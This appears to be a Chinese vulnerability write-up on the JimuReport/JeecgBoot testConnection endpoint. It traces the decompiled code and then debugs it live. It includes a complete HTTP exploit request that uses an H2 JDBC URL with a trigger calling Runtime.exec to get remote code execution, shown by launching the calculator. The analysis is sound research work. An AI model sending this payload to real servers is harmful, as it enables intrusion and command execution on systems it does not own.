首先找testConnection接口,前面进行了jimureport-spring-boot-starter-1.5.8.jar反编译查找,接口找到发现请求参数是json
var1是JmreportDynamicDataSourceVo类型,也就是如上图的dbSource,根据打印的结果可以知道这里是local cache key
ConcurrentHashMap属于并发程序,var4也就是连接相关的东西
那么这一块就是数据库连接的东西,主要说的是配置文件
因为jeecg-boot/jmreport/testConnection接口的参数是var1,是JmreportDynamicDataSourceVo类型,那么我们查看代码总结出来有这么几个参数id,code,dbType,dbDriver,dbUrl,dbName,dbUsername,dbPassword,connectTimes
那么继续往下走
可以看到从var1(也就是JmreportDynamicDataSourceVo)中获得DbDriver,然后获得DbUrl,一起通过g方法传给了var39,来看看g方法
这段代码的目的是用于处理包含数据库连接参数的字符串,如果字符串中包含 “mysql”,则将 “allowLoadLocalInfile” 参数设置为 “false”。这是为了增强安全性,因为允许加载本地文件可能存在一些潜在的安全风险
var2 = DriverManager.getConnection(var39, var1.getDbUsername(), var1.getDbPassword());
回到上一层,继续往下走,var2是进行数据库连接(dburl,username,password),那么记下来就是if判断var是否为null
但是上面是我们反编译出的jar包和实际还是有差别,进行动态调试看看
现在对传入的 HTTP 请求执行预处理的拦截器地方下断点,因为必经过这里
然后往下跳,在接口处下断点
可以看到为false,所以进入下面1091行的else
可以看到连接时候直接执行命令,弹出计算器
然后回显报错,这里会想到为什么会跳入这个catch (Exception var35)呢
因为执行的命令用于连接会报异常,catch (ClassNotFoundException var34) 块用于捕获ClassNotFoundException异常,而Exception var35用于捕获所有的异常
payload
POST /jeecg-boot/jmreport/testConnection HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 363
{
"id": "1",
"code": "dataSource1",
"dbType": "H2",
"dbDriver": "org.h2.Driver",
"dbUrl": "jdbc:h2:mem:test;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A$$",
"dbName": "test",
"dbUsername": "sa",
"dbPassword": "",
"connectTimes": 5
}
目前是本地h2数据库没有配置好,并且idea没有配置h2的依赖
我们配置好如下
在idea中加入h2依赖
<!--h2-->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.197</version>
<scope>runtime</scope>
</dependency>
根据我们之前写的h2文章,就是因为所在版本存在漏洞1.1.100 <= H2 Console <= 2.0.204
成功弹出计算器